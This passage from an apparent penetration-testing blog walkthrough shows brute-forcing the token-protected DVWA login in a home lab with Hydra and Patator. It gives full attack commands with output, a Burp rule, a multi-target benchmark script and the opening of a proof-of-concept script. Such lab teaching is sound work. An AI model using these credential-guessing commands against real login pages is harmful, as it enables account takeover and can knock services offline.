[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "admin" - 1 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "" - 2 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "password" - 3 of 3 [child 0]
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-15 21:36:29
[root:~]#

Unwanted GET Request

Ugh, Hydra is making a GET request now after the POST request... again! Looks like adding the C=/404.php did not fix it after all! (This is why it is worth only changing one thing at once and doing lots of little baby steps, rather than jumping straight into trying to brute force it).

Even adding -v back in, so the only thing that was different is the black/white listing, did not fix it. Switching back to the blacklisting, everything works again. So the issue is with S=Location\: index.php.

Okay, so what happens if we do both F=Location\: login.php and S=Location\: index.php? Nope, that did not fix it (caused Hydra not to send out any requests). What happens if we try the order the other way around? Same, Hydra was not brute forcing.

Plan B; let's make a Burp rule to drop any GET requests (as we really want to use Hydra)!

Burp Proxy -> Proxy -> Options -> Match and Replace -> Add

1
2
3
4
5
Type: `Request header`
Match: `^GET /DVWA/login.php`
Replace: `/HEAD`
Comment: `DVWA - Hydra brute force login`
Regex match: Ticked

Match and Replace

Note, using different values in the "replace" field, will have a different effect depending on the web server. See "Match and Replace" section below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# hydra -l admin -p password -e ns -u -F -t 1 -w 10 -W 1 -V 192.168.1.33 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-15 21:51:22
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "admin" - 1 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "" - 2 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "password" - 3 of 3 [child 0]
[80][http-post-form] host: 192.168.1.33   login: admin   password: password
[STATUS] attack finished for 192.168.1.33 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-15 21:51:50
[root:~]#

Hydra PoC

Boom! For the first time, Hydra successfully detected the credentials =).

A few notes about speed:

  • If we did not need Burp to drop the GET requests, the attack could be faster. (Could make something quick in Python)?
  • If Hydra detected Location: index.php as a successful login, we could use blacklisting, which means we do not need Burp again, and it would be quicker.
  • If we used a different tool rather than Hydra to-do the Burp force, the attack would be quicker. (Could make something quick in Bash? Python? Patator)?

I will touch on these issues again towards the end. Let's just finish up doing the attack for the time being.

Now, everything is ready to go. Let's see what performance tweaks we can make to see if we can speed it up.

First thing to try is to drop -W <value>, as no-one else is going to be using the web application. And this login page does not have too many database queries. This will have a huge effect on the speed (hopefully not at the price of the target being stable!)

After testing again, the next thing we could do is to lower the timeout value -w <value>. In this setup, this should not affect us too much. As we are on a LAN connection and not going out WAN/Internet, it will have a much quicker response time. So what should the value be? With a quick test, we can find out. Windows XP SP3 has the firewall enabled by default, let's temporarily remove it, so we can send a large IMCP request (aka ping it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root:~]# ping 192.168.1.33 -s 60000 -c 10
PING 192.168.1.33 (192.168.1.33) 60000(60028) bytes of data.
60008 bytes from 192.168.1.33: icmp_seq=1 ttl=128 time=3.88 ms
60008 bytes from 192.168.1.33: icmp_seq=2 ttl=128 time=6.83 ms
60008 bytes from 192.168.1.33: icmp_seq=3 ttl=128 time=6.28 ms
60008 bytes from 192.168.1.33: icmp_seq=4 ttl=128 time=7.29 ms
60008 bytes from 192.168.1.33: icmp_seq=5 ttl=128 time=6.52 ms
60008 bytes from 192.168.1.33: icmp_seq=6 ttl=128 time=7.09 ms
60008 bytes from 192.168.1.33: icmp_seq=7 ttl=128 time=6.01 ms
60008 bytes from 192.168.1.33: icmp_seq=8 ttl=128 time=6.96 ms
60008 bytes from 192.168.1.33: icmp_seq=9 ttl=128 time=7.62 ms
60008 bytes from 192.168.1.33: icmp_seq=10 ttl=128 time=7.60 ms

--- 192.168.1.33 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9020ms
rtt min/avg/max/mdev = 3.880/6.611/7.624/1.045 ms
[root:~]#

Ping Results

We are talking only a few milliseconds for a ~60KB ICMP size. Even with all the overhead of a TCP connection, HTTP request & database query it is not going to be more than a one second response (unless we really start to hammer the target). This all means we do not need to wait long, so -w 1 it is!


Match and Replace

When using "Match and Replace" inside Burp, I noticed a different between how the Apache web servers would response compared to Nginx or IIS. If the replace value was a valid request (either to an existing or missing page, GET / or GET /404.php), or converting method types (to a valid or invalid, HEAD / or DROP /) both Apache web servers (192.168.1.22& 192.168.1.33) would take over 27 minutes to complete the attack! Using timestamps in Burp, I was able to monitor the progress of Hydra. There was roughly one attempt every three seconds, which just so happens to be same as the timeout value used in the Hydra command.

Burp Failing

However, if the request was drop using Burp (<blank>) or an invalid request (GET/500) the attack time would be remarkably quicker, less than 2 minutes. Both Nginx and IIS did not behave any different. This might be used as a method to fingerprint an Apache web server?

Burp Working


Troubleshooting Rambles

If you want to skip some ramblings and/or lots of things that failed, feel free to jump over this section.

TL;DR: Windows XP SP3 & XAMPP does not like to have multiple POST requests sent to DVWA at once. It will just stop responding.

<troubleshooting>

Now, this is where it goes horribly wrong (and I'm not fully sure why).

  • I decided to increase the thread count -t <value>. Normally, by doing so, this can speed up the attack, as it will increase the amount of network traffic that is produced. I started off with -t 5, and straight away noticed that Burp was not sending out any HEAD / requests, as it was before, so something was not right.
  • Upon inspecting Burp, a little bit more, there was not a response for the POST requests, meaning the attacker was sending out an attempt, but the web server was not responding back for some reason. Tried to cURL to it, and noticed the web server was down. Ugh. Did I just DoS the web server?
  • After rebooting the target box, I made a manual request to make sure everything was working as normal and then repeated the 5 threads. Again, no HEAD /, no request tab in Burp and cURL is not working. Connecting to the box, I started up Internet Explorer (v6!) and tried to access http://localhost/DVWA/. The page was white, and the progress bar was "forever loading" as it was trying to connect but nothing was coming back. So once again Apache had somehow not been receiving requests. netstat showed the port was open, and the task manager lists the process as still running. Nothing was hogging all the CPU or RAM.
  • Once again, rebooted the box and this time, tried with just two threads -t 2. And once more, the web server goes down. Checking the Apache logs (both access.log and error.log) as well as MySQL & PHP none of the services logged any of the brute force requests from Hydra.
  • I switched from XAMPP to WAMP and tried again, only to find the same issue.
  • Reverted back to XAMPP, switched from a service running the process to a user, but it did not have any effect.
  • Next, powered off the VM and increased the system resources (getting desperate now) from 512MB to 2GB RAM and 1 CPU to 2 CPU, but even this did not fix it.
  • Starting to clutch at straws, what happens if -W 5 was added back in? It was a long shot, as it appears the first POST request was killing it. So sleeping AFTER the request was sent would not have much point.
  • Remembering my mistake from before, I tried the final command once more after a reboot; however, this time enabled Burp "invisible proxy mode". Nope. Did not work this time.
  • Switching to ZAP proxy did not fix anything either.
  • Before I went completely mad, I already had a few other machines and setup for these DVWA modules (Arch Linux & Raspberry Pi, Raspbian & Raspberry Pi 2, Windows XP & XAMPP, Windows Server 2012 & IIS), so I tested the last command on each of the other three environments and every single one of them worked, when using more than one thread!
  • Before switching back to Windows XP as the target, I took the same setup for XAMPP and installed it on the Windows 2012 machine and low and behold it worked. So something is wrong with Windows XP setup. As there were so few requests, I did not think it could be "port exhaustion", so maxing out MaxFreeTcbs, MaxHashTableSize, MaxUserPort, TcpTimedWaitDelay & displaying SynAttackProtect would not have much effect - but I tried it anyway. Did not fix anything.
  • So, trying to brute force DVWA out of the box was not working, but it was working on a different box/machine. But what happens if we try another web application?
  • A quick echo 'hello world' > C:/xampp/htdocs/test.html would load, when cURLing a "crashed" DVWA page (http://192.168.1.33/DVWA/login.php). Next, was to see if PHP was working using echo '<?php phpinfo(); ?>' > C:/xampp/htdocs/test.php. I was successfully able to view it when DVWA was not loading.
  • Restarting MySQL via the XAMPP control panel did not recover the crashed DVWA, after making a new request to the page. What about the Apache server? It took a little longer than "normal", however, after re-starting it up - DVWA would work! This smells like an Apache/PHP issue!
  • Based on this, the issue lies somewhere with Apache & PHP, when running a certain "something"?
  • When everything goes wrong and nothing is being logged (even on the max level), it is time to bring out Wireshark!
  • So what if we drop using the proxy completely and just sniff with Wireshark? This of course would not work due to the CSRF token becoming incorrect, but at least, does the web server stay up? Short answer: No.
  • ...I started to become bored and annoyed with this. It works as a single thread and multiple threads on other OS. So it is just this setup, and using a single thread is quick enough for us. I left it like that, as it was not working out of the box (which was the whole point of this), and something somewhere needed to be altered.

I'm sure there is some PHP configuration option to help me out, or using 3rd party tools (such as Process Explorer and Process Monitor). But at this point, I did not see too much of a reason to go on.

Screenshot of the Issue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]#
[root:~]# hydra -l admin -p password -e ns -u -F -t 5 -w 1 -V 192.168.1.33 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

[WARNING] the waittime you set is low, this can result in erroneous results
Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-15 22:02:28
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 3 tasks per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "admin" - 1 of 3 [child 0]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "" - 2 of 3 [child 1]
[ATTEMPT] target 192.168.1.33 - login "admin" - pass "password" - 3 of 3 [child 2]
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-15 22:02:30
[root:~]#


[root:~]# time curl 192.168.1.33/DVWA/login.php
^C
curl 192.168.1.33/DVWA/login.php  0.01s user 0.00s system 0% cpu 17.924 total
[root:~]# curl 192.168.1.33/DVWA/login.php

Multi-thread Killer

Notice how the "Response" tab is missing, where it should be next to "Request"? The curl request waited 17 seconds without a response before I stopped it.

Bonus points, between restarting the box after each failed attack... Guess what program was not responding, and stopped the reboot!

Apache Unresponsive

</troubleshooting>


Brute Force (Hydra)

Hydra Main Command

Now would be the time to switch attacking to the target (rather than our test lab). We know how to use the tool; we know what to expect from the web application. What we do not know are the credentials to login in "production environments".

Rather than making a custom wordlist, designed and aim towards our target (such as CeWL), we are going to use to a "general" wordlist instead from SecLists. This contains various defaults and common usernames and passwords.

A wordlist (sometimes called a dictionary) is just a list of words (or phrases) separated (normally by new lines) in a text file. The file extension does not matter (often .txt, .dic or .lst).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]#
[root:~]# time hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt \
  -e ns -u -F -t 1 -w 1 192.168.1.33 http-post-form \
  "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

[WARNING] the waittime you set is low, this can result in erroneous results
Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-15 22:11:46
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 5522 login tries (l:11/p:502), ~86 tries per task
[DATA] attacking service http-post-form on port 80
[80][http-post-form] host: 192.168.1.33   login: admin   password: password
[STATUS] attack finished for 192.168.1.33 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-15 22:12:25
hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P  -e ns -u -F -t 1  0.02s user 0.00s system 0% cpu 39.407 total
[root:~]#

Hydra Brute Forcing

The first three commands are nothing new. I will break down the last command, the main Hydra command (which is not too different and will highlight in bold what is different).

  • -L /usr/share/seclists/Usernames/top_shortlist.txt - A wordlist of usernames (only 11)
  • -P /usr/share/seclists/Passwords/500-worst-passwords.txt - A wordlist of passwords (only 500)
  • -e ns - empty password & login as password (so 2x the amount of usernames for the total number of requests)
  • -u - loop username first, rather than password _(so now it will try the first password for all the usernames then the next one, rather than focusing on just a single user)
  • -F - quit after finding any login credentials (regardless of the user account)
  • -t 1 - 1 thread (Limiting to just 1 due to target. More on this later) [*]
  • -w 1 - timeout value for each thread (We do not need as much leeway now) [*]
  • 192.168.1.33 - IP/hostname of the machine to attack
  • http-post-form - module and method to use
  • /DVWA/login.php - path to the page
  • username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login - POST data to send
  • S=Location\: index.php - Looking for page response which ONLY contains this (Whitelisting)
  • H=Cookie: security=impossible; PHPSESSID=${SESSIONID} - the cookie values to send during brute force
  • time - this will just give us stats showing how long the command took to run (so how long it took to brute force. Bash fu!)
  • Dropped -W 1 (Sleep after thread), -v (less verbose. Do not need redirects), -V from before (show logins) & C=/404.php (no need due to Burp)

[*] = These are very low because the target had issues doing multiple threads and a LAN target. Normally these values would be larger (-t 5 -w 30) depending on the networking connection and how well the target responds.


Brute Force (Patator)

Patator (Documentation)

Quoting the README file: "Patator is NOT script-kiddie friendly, please read the README inside patator.py before reporting."

However, Patator is incredibly powerful. Even if it is not written in C (which means it uses more system resources), it has an awful lot more features and options than Hydra. However, It is not straightforward to use, and it is not well documented. But I still find it is worth it =).

Once again, let's read up, what does what, and think about what we need.

The README also does state to check the comments in the code (there is some unique information located here). I also found checking a few functions in the source code to be helpful to (to get a better understanding) - it is written in Python so is not too hard to understand.

Offline: less $(which patator)

Online: https://github.com/lanjelot/patator/

1
2
3
4
patator
patator http_fuzz --help
*patator comments (all in the header at the top)*.
*patator source code*.

Once again, I will exact the certain sections which we should find useful:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
url                : main url to target (scheme://host[:port]/path?query)
body               : body data
header             : use custom headers
method             : method to use [GET | POST | HEAD | ...]
follow             : follow any Location redirect [0|1]
accept_cookie      : save received cookies to issue them in future requests [0|1]
http_proxy         : HTTP proxy to use (host:port)
timeout            : seconds to wait for a HTTP response [20]
--rate-limit=N     : wait N seconds between tests (default is 0)
-t N, --threads=N  : number of threads (default is 10)
-x arg             : actions and conditions, see Syntax below
actions            := action[,action]*
action             := "ignore" | "retry" | "free" | "quit" | "reset"
conditions         := condition=value[,condition=value]*
condition          := "code" | "size" | "mesg" | "fgrep" | "egrep" | "clen"
ignore             : do not report
quit               : terminate execution now
code               : match status code
size               : match size (N or N-M or N- or -N)
mesg               : match message
fgrep              : search for string

Patator is a bit more feature rich (and the bugs it has are different), as a result it means we do not have to use a proxy in the "final" command.


Patator Main Command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root:~]# CSRF=$(curl -s -c dvwa.cookie 192.168.1.33/DVWA/login.php | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# time  patator  http_fuzz  method=POST \
  url="http://192.168.1.33/DVWA/login.php" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/500-worst-passwords.txt \
  body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login" \
  header="Cookie: security=impossible; PHPSESSID=${SESSIONID}" \
  follow=0  accept_cookie=0 \
  -x ignore:fgrep=login.php  -x quit:fgrep=index.php \
  http_proxy=127.0.0.1:8080 \
  --threads=1  timeout=3
18:17:06 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2015-10-18 18:17 BST
18:17:06 patator    INFO -
18:17:06 patator    INFO - code size:clen     | candidate                        |   num | mesg
18:17:06 patator    INFO - ----------------------------------------------------------------------
18:17:20 patator    INFO - 302  344:0         | password:admin                   |    13 | HTTP/1.1 302 Found
18:17:21 patator    INFO - Hits/Done/Skip/Fail/Size: 1/14/0/0/5500, Avg: 0 r/s, Time: 0h 0m 15s
18:17:21 patator    INFO - To resume execution, pass --resume 14
patator http_fuzz method=POST url="http://192.168.1.33/DVWA/login.php"         0.71s user 0.05s system 4% cpu 16.246 total
[root:~]#

Patator Brute Forcing

Just note how password:username is the other way around to Hydra? This is because of how the numbering of the wordlist is defined (due to which values are cycled through first). This will act the same as -u would in Hydra (to work "better" when brute forcing multiple usernames as there is a good chance multiple users have used the same password).

The command can be broken down like so:

  • time - This is another application, that calculates various timing performances on the program it executes. We are using it to time (and benchmark) how long the app runs for (aka how long does it take to brute force).
  • patator - the main program itself.
  • http_fuzz - the module to use. This is the protocol that we will be attacking.
  • method=POST - how to send the data.
  • url="http://192.168.1.33/DVWA/login.php" - the full URL to the web page.
  • 1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/500-worst-passwords.txt - defining the wordlists to use (passwords before usernames).
  • body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login" – how to use the word lists in the request.
  • header="Cookie: security=impossible; PHPSESSID=${SESSIONID}" - setting the cookie values.
  • follow=0 - not to follow any redirects found.
  • accept_cookie=0 - not to set any cookie values.
  • -x ignore:fgrep=login.php - blacklisting, any pages which include login.php, is not what we are looking for - so print it out.
  • -x quit:fgrep=index.php - whitelisting, any pages which does include index.php, quit as straight away as it is found (and print out the value).
  • http_proxy=127.0.0.1:8080 - to use a proxy (e.g. Burp). Not needed at this stage for anything other than debugging. Can be dropped.
  • --threads=1 - how many threads to use. [*]
  • timeout=3 - how many seconds to wait for a response. [*]

[*] = These are very low because the target had issues doing multiple threads and a LAN target. Normally these values would be larger (--threads=5 timeout=30) depending on the networking connection and how well the target responds.


Patator vs Hydra (Syntax Comparison)

Trying to compare the commands directly to Hydra and Patator:

Hydra hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt -e ns -u -F -t 1 -w 1 -W 1 192.168.1.33 http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"

Patator patator http_fuzz 1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/500-worst-passwords.txt --threads=1 timeout=1 --rate-limit=1 url="http://192.168.1.33/DVWA/login.php" method=POST body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login" header="Cookie: security=impossible; PHPSESSID=${SESSIONID}" -x ignore:fgrep=login.php -x quit:fgrep=index.php follow=0 accept_cookie=0 http_proxy=127.0.0.1:8080

Breakdown:

  • Main Program:

    • Hydra: hydra
    • Patator: patator
  • List of usernames to use:

    • Hydra: -L /usr/share/seclists/Usernames/top_shortlist.txt
    • Patator: 0=/usr/share/seclists/Usernames/top_shortlist.txt
  • List of passwords to use:

    • Hydra: -P /usr/share/seclists/Passwords/500-worst-passwords.txt
    • Patator: 1=/usr/share/seclists/Passwords/500-worst-passwords.txt
  • Use empty passwords/repeat username as password

    • Hydra: -e ns
    • Patator: N/A. Does not have the option
  • Try all the passwords, before trying the next password

    • Hydra: -u
    • Patator: The password wordlist (FILE0) has a lower ID than the username wordlist (FILE1)
  • Quit after finding a valid login

    • Hydra: -F
    • Patator: -x quit:fgrep=index.php
  • Limit the threads

    • Hydra: -t 1
    • Patator: --threads=1
  • Timeout value on request

    • Hydra: -w 1
    • Patator: timeout=1
  • Timeout before starting next thread

    • Hydra: -W 1
    • Patator: --rate-limit=1
  • Verbose (aka show redirects)

    • Hydra: -v
    • Patator: N/A. Does it out of the box
  • Verbose (aka show redirects)

    • Hydra: -v
    • Patator: N/A. Does it out of the box. Done via whitelisting. This is what is used to signal a correct login (-x quit:fgrep=index.php)
  • Show password attempts

    • Hydra: -V
    • Patator: N/A. Does it out of the box. Done via blacklisting. It is the opposite, need to hide it (-x ignore:fgrep=login.php)
  • Target to attack

    • Hydra: 192.168.1.33
    • Patator: N/A. Happens later (url="http://192.168.1.33/DVWA/login.php")
  • Module to use

    • Hydra: http-post-form
    • Patator: http_fuzz
  • How to transmit the data

    • Hydra: N/A. It is done in the module name. (http-post-form)
    • Patator: method=POST
  • Web page to attack

    • Hydra: "/DVWA/login.php:
    • Patator: url="http://192.168.1.33/DVWA/login.php"
  • POST data to send

    • Hydra: username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:
    • Patator: body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login"
  • Cookie data to send

    • Hydra: :H=Cookie: security=impossible; PHPSESSID=${SESSIONID}
    • Patator: header="Cookie: security=impossible; PHPSESSID=${SESSIONID}"
  • Whitelist page response

    • Hydra: :S=Location\: login.php
    • Patator: -x ignore:fgrep=login.php
  • Blacklist page response

    • Hydra: :F=Location\: index.php
    • Patator: -x quit:fgrep=index.php
  • Do not follow requests

    • Hydra: N/A. Have to link in a proxy
    • Patator: follow=0
  • Do not accept cookies

    • Hydra: N/A. Have to link in a proxy
    • Patator: accept_cookie=0
  • Use in a HTTP proxy

    • Hydra: export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
    • Patator: http_proxy=127.0.0.1:8080

As you can see, the flags and command line arguments for Patator are not as "straightforward" as Hydra, however, it allows you to customise without being dependant on other software. This chart is only an example for doing this module. Patator has many other options which are not covered here (same goes for Hydra). Examples: able to-do both blacklisting and whitelisting at the same time, able to specifically define what values to look for and ignore (as well as chaining them up with ANDs & ORs statements).


Benchmarking

So far, everything has been a single target. Let's step up our game and test a few more different environments and setups - and let's see if it makes a difference at all.

  • 4x Operating Systems (Arch Linux, Raspbian Jessie, Windows Server 2012 & Windows XP)
  • 2x Apaches (One Windows, One Linux)
  • 2x Windows (One Apache, One IIS)
  • 2x Linux (One Apache, One Nginx)
  • 2x Raspberry Pis "B" (One v1, One v2)
  • 2x Virtual Machines

Hopefully this should give some comparison results.

Each service is using the "out of the box" values. No performance tweaks have been made.

The very low timeout value (it is not wise to be this low - 3 seconds), and the same wordlist (correct value will be at 508 requests) along with every other possible setting the same on each program.

The looping order has been done to move from target to target, rather than doing all the attacks towards a target. This will allow the target machine to "recover" before getting brute forced again. This test was repeated five times to calculate an average.

Summary: Generally using Patator is quicker than Hydra, however, it noticeably used up a lot more system resources.


Hardware:

  • 192.168.1.11 - Raspberry Pi v1 "B" // Nginx
  • 192.168.1.22 - Raspberry Pi v2 "B" // Apache
  • 192.168.1.33 - Windows XP // Apache
  • 192.168.1.44 - Windows Server 2012 // IIS

192.168.1.11 (aka: Arch Pi)

  • Machine: Raspberry Pi v1 "B"
  • Web Server: Nginx v1.8.0
  • Server Side Scripting: PHP v5.6.14
  • Database: MariaDB v10.0.21
  • OS: Arch Linux 2015.10.01 / Linux archpi 4.1.9-1-ARCH #1 PREEMPT Thu Oct 1 19:15:46 MDT 2015 armv6l GNU/Linux

Single threads vs multiple thread; there is a difference. However, using any more than two threads does not make it that much quicker. Other machines were able to handle more threads. This machine and setup had the slowest brute force time.


192.168.1.22 (Aka: Raspbian)

  • Machine: **Raspberry Pi v2 "B"
  • Web Server: Apache v2.4.10
  • Server Side Scripting: PHP v5.6.13
  • Database: MySQL v5.5.44
  • OS: Raspbian Jessie September 2015 / Linux raspberrypi 4.1.7-v7+ #817 SMP PREEMPT Sat Sep 19 15:32:00 BST 2015 armv7l GNU/Linux

The more threads, the quicker the result. It was able to handle more requests than 192.168.1.11. This had the fastest brute force time.


192.168.1.33 (aka: XP XAMPP)

  • Machine: VM - 512MB / 1 CPU
  • Web Server: Apache v2.4.10
  • Server Side Scripting: PHP v5.4.31
  • Database: MySQL v5.5.39
  • OS: Windows XP Professional SP3 ENG x86 (Using XAMPP v1.8.2 package)

Any more than a single thread, killed the box.


192.168.1.44 (aka: 2012 IIS)

  • Machine: VM - 2GB / 1 CPU
  • Web Server: IIS v8.0
  • Server Side Scripting: PHP v5.6.0
  • Database: MySQL v5.5.45
  • OS: Windows Server 2012 ENG x64

Single threads vs multiple threads there is a difference. Did start to struggle towards the end where there was a large number of threads


Results:

HYDRA 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 80 47 62 37
2 Threads 70 28 - 26
4 Threads 70 23 - 25
8 Threads 73 26 - 25
16 Threads 71 23 - 26
32 Threads - 21[*] - 31
------------- ------------------ ------------------ ------------------ ------------------
PATATOR 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 68 26 46 21
2 Threads 71 24 - 19
4 Threads 72 27 - 22
8 Threads 71 26 - 21
16 Threads 72 20 - 26
32 Threads - 32[**] - 23
------------- ------------------ ------------------ ------------------ ------------------
  • [*] == One pass did not not find the password.
  • [**] == More than one thread timeout, but still found the password.

Benchmark Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash
killall -9 hydra
killall -9 patator

for LOOP in $(seq 1 3); do

for THREAD in 1 2 4 8 16 32; do

## Hydra loop
for IP in 11 22 33 44; do

echo -e "\n\n192.168.1.${IP} // ${THREAD}"
CSRF=$(curl -s -c dvwa.cookie "192.168.1.${IP}/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')

export HYDRA_PROXY_HTTP=http://127.0.0.1:8080; rm -f hydra.restore

time hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/passwords_clarkson_82.txt \
  -u -F -t ${THREAD} -w 1 192.168.1.${IP} http-post-form \
  "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
done


## Patator loop
for IP in 11 22 33 44; do

echo -e "\n\n192.168.1.${IP} // ${THREAD}"
CSRF=$(curl -s -c dvwa.cookie "192.168.1.${IP}/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')

time  patator  http_fuzz  method=POST \
  url="http://192.168.1.${IP}/DVWA/login.php" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/passwords_clarkson_82.txt \
  body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login" \
  header="Cookie: security=impossible; PHPSESSID=${SESSIONID}" \
  follow=0  accept_cookie=0 \
  -x ignore:fgrep=login.php  -x quit:fgrep=index.php \
  http_proxy=127.0.0.1:8080 \
  --threads=${THREAD}  timeout=1
done

done

done

Proof of Concept Scripts

So here are two Proof of Concept (PoC) scripts, one in Bash and the other is Python. They are really rough templates, and not stable tools to be keep on using. They are not meant to be "fancy" (e.g. no timeouts or no multi-threading). However, they can be fully customised in the attack (such as if we want to use a new anti-CSRF token on each request, which would be required if the token system was implemented correctly).

I will put this all on GitHub at the following repository:

Benchmark

  • Bash: ~3.8 seconds
  • Python: ~5.8 seconds

Bash Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/bash
# Quick PoC template for HTTP POST form brute force, with anti-CRSF token
# Target: DVWA v1.10
#   Date: 2015-10-19
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/login/

## Variables
URL="http://192.168.1.33/DVWA"
USER_LIST="/usr/share/seclists/Usernames/top_shortlist.txt"
